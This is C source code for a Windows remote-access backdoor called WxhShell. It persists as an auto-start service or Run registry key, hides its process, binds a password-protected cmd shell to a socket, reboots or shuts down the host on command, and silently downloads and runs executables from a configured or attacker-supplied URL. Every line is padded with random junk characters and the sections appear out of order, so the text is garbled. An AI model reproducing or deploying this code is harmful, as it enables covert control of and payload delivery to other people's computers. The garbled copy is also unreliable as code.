    if(Boot(SHUTDOWN)) \;I%>yOIu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $dFEC}1t  
    else { ^O6PZm5J}  
    closesocket(wsh); [?)}0cd0  
    ExitThread(0); ;VeC(^-eh6  
    } ,xuqQ;JX  
    break; uXxyw7\W  
    } ^F5[2<O/!  
  // 获取shell @sav8 ]  
  case 's': { r^n%PH <  
    CmdShell(wsh); ]Hc `<P  
    closesocket(wsh); o?b$}Qrl  
    ExitThread(0); P-ys$=  
    break; -wvrc3F  
  } 8k2prv^  
  // 退出 zIf/jk  
  case 'x': { J1YP-:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yDWzsA/X  
    CloseIt(wsh); zK(9k0+s  
    break; R#1h.8  
    } M-,vX15S  
  // 离开 Z<;<!+,  
  case 'q': { fMlxtj+5   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rg "W1m[k  
    closesocket(wsh); ",(-AU!a)h  
    WSACleanup(); QB'-`GwL  
    exit(1); :-xp'_\L  
    break; hdQ[=PH)  
        } dMCV !$  
  } 5Z ] `n  
  } d2'9C6t  
q62TYg}  
  // 提示信息 4gG&u33RrE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y;keOI!  
} %g^dB M#  
  } vY7C!O/y_k  
k=Pu4:RF  
  return; $^INl0Pg  
} fCJ:QK!  
s+2\uMwf*  
// shell模块句柄 J1cD)nM<A  
int CmdShell(SOCKET sock) ]QJLES  
{ L}P<iB   
STARTUPINFO si; |F-_YR  
ZeroMemory(&si,sizeof(si)); [a53H$`\5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n9<QSX&~<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e]!C Aj7uS  
PROCESS_INFORMATION ProcessInfo; P+:FiVj@~  
char cmdline[]="cmd"; &1ASWllD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kn 5q1^  
  return 0; T#DJQ"$  
} mLd=+&M  
UtIwrR[  
// 自身启动模式 QzT)PtX  
int StartFromService(void) ;-~ Wfh+  
{ ~QJD.'z  
typedef struct eG72=l)Mz  
{ yeFt0\=H  
  DWORD ExitStatus; $u|p(E:*  
  DWORD PebBaseAddress; 4Smno%jq  
  DWORD AffinityMask; <:-|>R".  
  DWORD BasePriority; @2v L'6  
  ULONG UniqueProcessId; sOa`Tk  
  ULONG InheritedFromUniqueProcessId; v}Gq.(b  
}   PROCESS_BASIC_INFORMATION; j/TsHJ=  
-Mb nYs)  
PROCNTQSIP NtQueryInformationProcess; hzg&OW=:  
"G)-:!H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nmn$$=~)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w}zl=w{G  
KV k 36;$  
  HANDLE             hProcess; '!]ry<  
  PROCESS_BASIC_INFORMATION pbi; 5u'"m<4  
^Jcs0c @\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y&-wb'==p  
  if(NULL == hInst ) return 0; WEFYV=I\  
3Ew-Ia%A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0R\lm<&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )}\jbh>RH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;hA>?o_i(  
yw41/jHF  
  if (!NtQueryInformationProcess) return 0; s 4Lqam!  
E)H: L-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); TFb9gOTJ  
  if(!hProcess) return 0; JBtcl# |  
SSY E&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fKY6stJE  
eL JW  
  CloseHandle(hProcess); _Ft4F`pM  
 Aa[p7{e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |Kky+*  
if(hProcess==NULL) return 0; %k_R;/fjW  
GM%%7^uE  
HMODULE hMod; DDq*#;dP  
char procName[255]; ?k<i e2  
unsigned long cbNeeded; tH,}_Bp  
4`)`%R$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); EpB2?XGA  
8fKt6T  
  CloseHandle(hProcess); r@5_LD@f  
y-m<&{q  
if(strstr(procName,"services")) return 1; // 以服务启动 6]^ShOX_Z  
L (XGD  
  return 0; // 注册表启动 y2gI]A  
} lO3$V JI  
ZE.nB- H  
// 主模块 }OZ%U2PU  
int StartWxhshell(LPSTR lpCmdLine) U+CZv1  
{ C=2  
  SOCKET wsl;  Iz*'  
BOOL val=TRUE; f9W@!]LHJ  
  int port=0; ?M. n 9|}y  
  struct sockaddr_in door; fNPHc_?Ybj  
kngkG|du  
  if(wscfg.ws_autoins) Install(); }26?bd@e`  
\`}Rdr!p%  
port=atoi(lpCmdLine); k"Y9Kc0XoU  
U']DB h  
if(port<=0) port=wscfg.ws_port; 58\Rl  
bq/ m?;  
  WSADATA data; 0+jR,5 |  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :CH "cbo  
yoGe^gar  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~UA-GWb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N3 .!E|  
  door.sin_family = AF_INET; =kH7   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); DygMavA.  
  door.sin_port = htons(port); Q*&>Ui[&  
e` Z;}& ,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .I$ Q3%s  
closesocket(wsl); )XV|D  
return 1; ,X25-OFZ  
} ,V'+16xW  
28 [hp[<  
  if(listen(wsl,2) == INVALID_SOCKET) { VHwb 7f]gq  
closesocket(wsl); 3/>T/To&2  
return 1; EtvZk9d6h*  
} vM!lL6T:  
  Wxhshell(wsl); #_0OYL`(mE  
  WSACleanup(); (JHzwI8+  
DP ,owk  
return 0; c ]M!4.  
?$i`K|  
} f4YcZyBGv  
,~u5SR  
// 以NT服务方式启动 F$<>JEdX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Nd'+s>d0  
{ XdE#l/#  
DWORD   status = 0; M }=X/*T  
  DWORD   specificError = 0xfffffff; |TL&#U  
1DVu`<OXcH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xS?[v&"2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^ZV1Ev8T6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (7^5jo[D  
  serviceStatus.dwWin32ExitCode     = 0; 1"? 3l`i  
  serviceStatus.dwServiceSpecificExitCode = 0; rOQ@(aUAZ  
  serviceStatus.dwCheckPoint       = 0; &6<>hqR^  
  serviceStatus.dwWaitHint       = 0; 1)yEx1  
4XpW#>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :tU&d(8  
  if (hServiceStatusHandle==0) return; -9TNU7^  
\H|tc#::{  
status = GetLastError(); d/5i4g[q  
  if (status!=NO_ERROR) l/0"'o_0v#  
{ x O?w8*d  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8oiO:lyLSt  
    serviceStatus.dwCheckPoint       = 0; Gx /sJ(  
    serviceStatus.dwWaitHint       = 0; _^K)>  
    serviceStatus.dwWin32ExitCode     = status; IaMZPl  
    serviceStatus.dwServiceSpecificExitCode = specificError; XgL-t~_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); pxP,cS  
    return; ]D_"tQ?i  
  } qn) VKx=  
|s[kY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (3a]#`Q  
  serviceStatus.dwCheckPoint       = 0; OXcQMVa 6  
  serviceStatus.dwWaitHint       = 0; Dx`-Kg_p  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8 g0By;h;  
} g} \$9  
S.&=>   
// 处理NT服务事件,比如:启动、停止 =j#1H I=Fe  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [&12`!;j  
{ ln4gkm<]t  
switch(fdwControl) C".nB12  
{ hM$K?t  
case SERVICE_CONTROL_STOP: 2..b/  
  serviceStatus.dwWin32ExitCode = 0; u~SvR~OE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )y>o;^5'  
  serviceStatus.dwCheckPoint   = 0; =)_9GO  
  serviceStatus.dwWaitHint     = 0; A+Uil\%  
  { *nJy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u&{}hv&FY  
  } \AFoxi2h  
  return; kS_oj  
case SERVICE_CONTROL_PAUSE: Su.imM!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; N3/G6wn  
  break; vEQw`OC  
case SERVICE_CONTROL_CONTINUE: qJV2x.!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 'YQ^K`lV  
  break; ;Z>u]uK4+  
case SERVICE_CONTROL_INTERROGATE: Itq248+Ci  
  break; @ 3n;>oi  
}; -M=#U\D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7|$cM7_r  
} #._%~}U  
.U}"ONd9e  
// 标准应用程序主函数 1,UeVw/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v C,53g  
{ p5F=?*[}  
^na8d's:  
// 获取操作系统版本 ]?KTw8j}  
OsIsNt=GetOsVer(); m# y`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _cPGS=Ew  
^3~+|A98M  
  // 从命令行安装 2J7= O^$?  
  if(strpbrk(lpCmdLine,"iI")) Install(); }E[u" @}  
;QYUiR  
  // 下载执行文件 0_nY70B  
if(wscfg.ws_downexe) { Tx+!D'>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "rxhS; R1>  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7oUecyoj  
} kp F")0qr  
%LI[+#QE  
if(!OsIsNt) { z}Y23W&sX  
// 如果时win9x,隐藏进程并且设置为注册表启动 i;:gBNmo=  
HideProc(); 5Bwr\]%$P  
StartWxhshell(lpCmdLine); /~sNx  
} !~sgFR8W  
else &lbZTY}  
  if(StartFromService()) ^eF%4DUC;  
  // 以服务方式启动 VN3"$@-POK  
  StartServiceCtrlDispatcher(DispatchTable); bUv}({  
else yg}zK>j^vC  
  // 普通方式启动 pF0sXvWGG  
  StartWxhshell(lpCmdLine); Q=B>Q  
4Js2/s  
return 0; ;/-v4  
} cV;<!f+  
VTS7K2lBvX  
y $i^C:N  
0)<\jo1 F  
=========================================== `O5 Hzb(}  
q,Oj  
7TDt2:;]  
R'Gka1v  
8{0=tOXx{  
FYwMmb ~3  
"  Tt;h?  
l]g /rs  
#include <stdio.h> \\ZR~f!<  
#include <string.h> 6_UCRo5h%  
#include <windows.h> @*Y"[\"$  
#include <winsock2.h> 7(8i~}  
#include <winsvc.h> :?uUh  
#include <urlmon.h> [N@t/^gRC  
" a&|{bv  
#pragma comment (lib, "Ws2_32.lib") ]81t~t9LQ  
#pragma comment (lib, "urlmon.lib") 4lM)ZDg  
.qd/ft2  
#define MAX_USER   100 // 最大客户端连接数 c:*[HO\  
#define BUF_SOCK   200 // sock buffer [ADSGnw  
#define KEY_BUFF   255 // 输入 buffer 9_=0:GH k  
aNt+;M7g`  
#define REBOOT     0   // 重启 CBkI! In2  
#define SHUTDOWN   1   // 关机 cj[a^ ZH  
EN,PI~~F  
#define DEF_PORT   5000 // 监听端口 c >O>|*I  
iX&eQ{LB  
#define REG_LEN     16   // 注册表键长度 g4eEkG`XTS  
#define SVC_LEN     80   // NT服务名长度 5{zmuv:  
\C{Dui) F  
// 从dll定义API ,0hk)Vvr3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _DDknQP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c[IT?6J4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `s )- lI  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); kv!QO^;^Y  
ul@swp  
// wxhshell配置信息 96(3ilAt  
struct WSCFG { g36:OK"  
  int ws_port;         // 监听端口 cVV@MC  
  char ws_passstr[REG_LEN]; // 口令 %#_"I e  
  int ws_autoins;       // 安装标记, 1=yes 0=no Pv#Oea?  
  char ws_regname[REG_LEN]; // 注册表键名 "=0(a)01p:  
  char ws_svcname[REG_LEN]; // 服务名 ?IN'Dc9&%-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @V\ u<n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :CeK 'A\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &b__ /o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no nE&`~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" i]cD{hv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9mmkFaBQ  
^ gMkQYo(#  
}; WX-J4ieL  
f]_{4Olk  
// default Wxhshell configuration /VmtQ{KTt+  
struct WSCFG wscfg={DEF_PORT, ^cz4nW<  
    "xuhuanlingzhe", o^efeI  
    1, gTM*td(~^  
    "Wxhshell", t6,bA1*5y  
    "Wxhshell", 8mm]>u$  
            "WxhShell Service", =K \xE"  
    "Wrsky Windows CmdShell Service", Yy 8? X9r.  
    "Please Input Your Password: ", n%S%a >IQj  
  1, >fq]c  
  "http://www.wrsky.com/wxhshell.exe", sQ}E4Iq1#S  
  "Wxhshell.exe" *2T"lpl  
    }; G(3wI}  
&FpoMW  
// 消息定义模块 ufF>I  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L*8U.{NY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _'*Vcu`Y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; t?aOZps  
char *msg_ws_ext="\n\rExit."; s+-V^{Ht  
char *msg_ws_end="\n\rQuit."; {i^F4A@=Z  
char *msg_ws_boot="\n\rReboot..."; C>:,\=y%  
char *msg_ws_poff="\n\rShutdown..."; tH)fu%:p  
char *msg_ws_down="\n\rSave to "; <G_71J`MLC  
zk;'`@7  
char *msg_ws_err="\n\rErr!"; 5Ic'6AIz  
char *msg_ws_ok="\n\rOK!"; @* <`*W  
'PqKb%B|  
char ExeFile[MAX_PATH]; ~Fe$/*v  
int nUser = 0; <-h[I&."  
HANDLE handles[MAX_USER]; {y%|Io`P  
int OsIsNt; '>^!a!<G  
=j"bLX6;  
SERVICE_STATUS       serviceStatus; _2a)b(<tF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; KaIkO8Dq0  
~(;HkT  
// 函数声明 |V&E q>G  
int Install(void); -`A+Qp)  
int Uninstall(void); 8yC/:_ML  
int DownloadFile(char *sURL, SOCKET wsh); hDf!l$e.  
int Boot(int flag); *}'3|e4w}  
void HideProc(void); S]Qf p,  
int GetOsVer(void); }Pm; xHnf&  
int Wxhshell(SOCKET wsl); S8,e `F  
void TalkWithClient(void *cs); pSl4^$2XR  
int CmdShell(SOCKET sock); pV(qan,  
int StartFromService(void); _u9bZ'  
int StartWxhshell(LPSTR lpCmdLine); rU |%  
3^,p$D<T:,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C klIrD{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); d6f T  
ET[>kn^#  
// 数据结构和表定义 3De(:c)@  
SERVICE_TABLE_ENTRY DispatchTable[] = s}<i[hY>  
{ | vPU]R>6  
{wscfg.ws_svcname, NTServiceMain}, WjsmLb:5  
{NULL, NULL} M#.dF{ %%  
}; Ms=N+e$n  
$YiG0GK<"  
// 自我安装 )agrx76]3w  
int Install(void) C*stj  
{ M%#F"^8v  
  char svExeFile[MAX_PATH]; +[` )t/   
  HKEY key; m^o?{ (K  
  strcpy(svExeFile,ExeFile); " V4@nv  
N5 b^  
// 如果是win9x系统,修改注册表设为自启动 'x,6t66*"l  
if(!OsIsNt) { hiEosI C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {yFMY?6rf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^8=e8O  
  RegCloseKey(key); *pYawT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0O?\0k;o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yS.)l  
  RegCloseKey(key); C'6c,  
  return 0; e8 c.&j3m  
    } bH g 0,N  
  } %F87"v~  
} 2i$_ ,[fi  
else { ZfibHivz  
pN{XGkX.  
// 如果是NT以上系统,安装为系统服务 k{ $,FQ4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6~O;t'd  
if (schSCManager!=0) lE8(BWzw  
{ z .+J\  
  SC_HANDLE schService = CreateService #G\Ae:O  
  ( -U{!'e8YiN  
  schSCManager, ETm:KbS  
  wscfg.ws_svcname, d~KTUgH'<  
  wscfg.ws_svcdisp, c1xX)cF  
  SERVICE_ALL_ACCESS, i(YR-vYK  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?L"x>$  
  SERVICE_AUTO_START, -Dwe,N"{2  
  SERVICE_ERROR_NORMAL, {8556>\~  
  svExeFile, ybv]wBpM:  
  NULL,  ;!j/t3#a  
  NULL, `o0ISJeKp  
  NULL, |\RN%w7E8  
  NULL, XO5E-Nh  
  NULL \Rw^&;\1  
  ); \j4!dOGZ  
  if (schService!=0) d*$x|B|V  
  { @QDUz>_y  
  CloseServiceHandle(schService); SC--jhDZ  
  CloseServiceHandle(schSCManager); >#y1(\e  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W~5gTiBZ]  
  strcat(svExeFile,wscfg.ws_svcname); ab[V->>%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s$~H{za  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `)NTJc$):  
  RegCloseKey(key); CdKs+x&tZ  
  return 0; TA+#{q+a  
    } "?6R"Vk?:  
  } 3}B-n!|*  
  CloseServiceHandle(schSCManager); L i+|%a  
} i "aQm  
} .uB[zJc  
C't%e  
return 1; 6n/KL  
} ;x&3tN/I  
jX,A.  
// 自我卸载 c^R "g)gr  
int Uninstall(void) <9x|)2P  
{ fVYv 2  
  HKEY key; O O-Obg^  
ppu<k N  
if(!OsIsNt) { [OFT!=.y &  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ls*Vz,3!5  
  RegDeleteValue(key,wscfg.ws_regname); m/WDJ$d  
  RegCloseKey(key); !lKDNQ8>["  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qv`:o `  
  RegDeleteValue(key,wscfg.ws_regname); &{8[I3#@  
  RegCloseKey(key); ^y~oXS(  
  return 0; a?)g>e HN  
  } kdMB.~(K=  
} {"0n^!  
} !v*#E{r"g=  
else { [-\DC*6  
xEB 4oQ5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v%QC p  
if (schSCManager!=0) <#~n+,  
{ R%JEx3)0m  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); USXPa[  
  if (schService!=0) BT(G9 Pj;  
  { hP/uS%X   
  if(DeleteService(schService)!=0) {  <JZa  
  CloseServiceHandle(schService); yCv"(fNQ  
  CloseServiceHandle(schSCManager); FWo`oJeN  
  return 0; &A^2hPe}  
  } 7>gW2 m  
  CloseServiceHandle(schService); Si|8xq$E;  
  } 7A  
  CloseServiceHandle(schSCManager); AI .2os*  
} >Lz2zlZI  
} pe+m%;nzR  
72y!cK6  
return 1; gIcPKj"8${  
} ]xhH:kW4  
2Mu(GUe;  
// 从指定url下载文件 eoPoG C  
int DownloadFile(char *sURL, SOCKET wsh) ?#__#  
{ #|lVQ@=  
  HRESULT hr; QYWl`Yqf  
char seps[]= "/"; l> >BeZ  
char *token; 5a* Awv}  
char *file; .\)p3pC)  
char myURL[MAX_PATH]; FFH {#|_1  
char myFILE[MAX_PATH]; 94XRf"^  
) |hHbD^V  
strcpy(myURL,sURL); Uzk_ae  
  token=strtok(myURL,seps); cr{dl\ Na  
  while(token!=NULL) B^hK  
  { 73M;-qnU  
    file=token; EKT"pL-EY  
  token=strtok(NULL,seps); b;I!Cy D  
  } Bc#6mO-  
+Jc-9Ko\c;  
GetCurrentDirectory(MAX_PATH,myFILE); '`p0T%w  
strcat(myFILE, "\\"); 4W+nS v  
strcat(myFILE, file); U3w*z6OG  
  send(wsh,myFILE,strlen(myFILE),0); r3.v^  
send(wsh,"...",3,0); qxD<mZ@-R0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); EtB56FU\  
  if(hr==S_OK) yNQ 9~P2  
return 0; N?Ss/by8Sg  
else Os1y8ui  
return 1; `RE1q)o}8M  
.T*7nw  
} $w<~W1\:  
%P]-wBJw  
// 系统电源模块 QLTE`t5w3'  
int Boot(int flag) g? \pH:|79  
{ {c$%3iQq  
  HANDLE hToken; B Zw#ACU  
  TOKEN_PRIVILEGES tkp; _d<\@Tkw  
#60<$HO:Z  
  if(OsIsNt) { 4>@-1nt}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KL*UU,qU  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s[@@INU  
    tkp.PrivilegeCount = 1; *-9b!>5eD  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n1c Q#u  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M, UYDZ',  
if(flag==REBOOT) { O4 Y;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Va'K~$d_  
  return 0; iAW oKW  
} sfNAGez  
else { m;I;{+"u  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |&%l @X 6  
  return 0; "i*Gi \U  
} k4 %> F  
  } L:EJ+bNG  
  else { *'(dcy9  
if(flag==REBOOT) { x9CI>l  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) UJF }Ye  
  return 0; Web8"8eD  
} !PrO~  
else { ]# T9v06w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) WJL,L[XC  
  return 0; r^6v o6^  
} +NEP*mk  
} &On0)G3Rc  
P^LOrLmo8  
return 1; j|WaWnl=  
} P6 G/J-  
Qs{Qg<}  
// win9x进程隐藏模块 ]R{=|  
void HideProc(void) 2=NYBOE  
{  Q-&]Vg  
M>k7 '@G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); w02HSQ  
  if ( hKernel != NULL ) (;h]'I@  
  { 5cQBqH]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c#;LH5KI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "Hjw  
    FreeLibrary(hKernel); cw<DM%p  
  } |qNrj~n@  
LGCL*Qbsg  
return; _?_Svx2  
} <FK7Rz:4T  
jIc;jjAF  
// 获取操作系统版本 zFuUv_t  
int GetOsVer(void) [%nG_np  
{ z(orA} [  
  OSVERSIONINFO winfo; Bv@m)$9\+3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y$V{yh[:  
  GetVersionEx(&winfo); NI s4v(!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @4B2O"z`  
  return 1; U w`LWG3T  
  else +msHQk5#$m  
  return 0; |_2ANWHz  
} nZ7v9o9  
M7Hk54U +t  
// 客户端句柄模块 5\Y/so=  
int Wxhshell(SOCKET wsl) 0_D~n0rq,v  
{ ,n!xzoX_  
  SOCKET wsh; #-HN[U?Gs  
  struct sockaddr_in client; =\%>O7c,8Y  
  DWORD myID; lE|T'?/  
c8"I]Qc7  
  while(nUser<MAX_USER) r IK|}5  
{ ZJ[ Uz_%W  
  int nSize=sizeof(client); OEwfNZQ-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); BtHvfoT  
  if(wsh==INVALID_SOCKET) return 1; JN KZ'9  
F5<{-{Ky  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u\.sS|$  
if(handles[nUser]==0) f|^f^Hu:{  
  closesocket(wsh); >6DY3\  
else B?%D   
  nUser++; j'J*QK&Q  
  } \+AH>I;vO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5PL,~Y  
n ~3c<{coZ  
  return 0; c\b>4 &n  
} !Z'm@,+  
+li^0+3-'  
// 关闭 socket ( L6`_)  
void CloseIt(SOCKET wsh) #*]= %-A  
{ `A^} X  
closesocket(wsh); -<O:isB   
nUser--; zuPH3Q={  
ExitThread(0); KnFbRhu[  
} #EM'=Q%TO  
#129 i2  
// 客户端请求句柄 v/haUPWF\  
void TalkWithClient(void *cs) |B`tRq  
{ ?GC0dN  
j5)qF1W,  
  SOCKET wsh=(SOCKET)cs; 7=AKQ7BB>b  
  char pwd[SVC_LEN]; Elq8WtS  
  char cmd[KEY_BUFF]; 4QVd{  
char chr[1]; M1M]]fT0ME  
int i,j; -)I_+N  
,/ : )FV  
  while (nUser < MAX_USER) { t3XMQ']  
zLn#p]  
if(wscfg.ws_passstr) { nz',Zm},  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sq^"bLw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M#>GU<4"  
  //ZeroMemory(pwd,KEY_BUFF); } R/  
      i=0; W[m_IY  
  while(i<SVC_LEN) { yN o8R[M  
UiEB?X]-l'  
  // 设置超时 IyuT=A~Ki  
  fd_set FdRead; F3'X  
  struct timeval TimeOut; qpeK><o  
  FD_ZERO(&FdRead); W%W. +f  
  FD_SET(wsh,&FdRead); QaO`:wJj  
  TimeOut.tv_sec=8; DRIv<=Bt  
  TimeOut.tv_usec=0; R`&ioRWj  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J?<L8;$s7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j&pgq2Kl  
.2P?1HpK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6J*`<k/ S  
  pwd=chr[0]; Y"jDZG?  
  if(chr[0]==0xd || chr[0]==0xa) { wm8x1+P  
  pwd=0; "J1ar.li  
  break; 8dhY"&  
  } .-AB o]hf  
  i++; 31C]TdJ  
    } ES2qX]I  
!tdfTf$  
  // 如果是非法用户,关闭 socket *^uj(8U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &F}+U#H  
} Chup %F  
|@HdTGD  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7e<Q{aB  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I@ k8^  
Jq#Cn+zW  
while(1) { l}2WW1b(  
a=FRJQ8S  
  ZeroMemory(cmd,KEY_BUFF); @^%_ir(  
v^pP& <G  
      // 自动支持客户端 telnet标准   kI'A` /B l  
  j=0; `[\phv  
  while(j<KEY_BUFF) { Q ?t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dmy-}.pqN  
  cmd[j]=chr[0]; 0)]1)z(P  
  if(chr[0]==0xa || chr[0]==0xd) { kk'w@Sn.(  
  cmd[j]=0; n:D*r$ C|p  
  break; ,Tl5@RN  
  } .[fz x`  
  j++; %}!}2s.A  
    } Snu;5:R  
sJ/e=1*  
  // 下载文件 }j1Zk4}[x  
  if(strstr(cmd,"http://")) { 03o3[g?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0?xiGSZV  
  if(DownloadFile(cmd,wsh)) Y(zN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7]j-zv  
  else )''wu\7A)'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %6'D!H?d  
  } => =x0gsgj  
  else { 8!GLw-kb  
H| U/tU-  
    switch(cmd[0]) { )^Pvm  
  B?y t%f1  
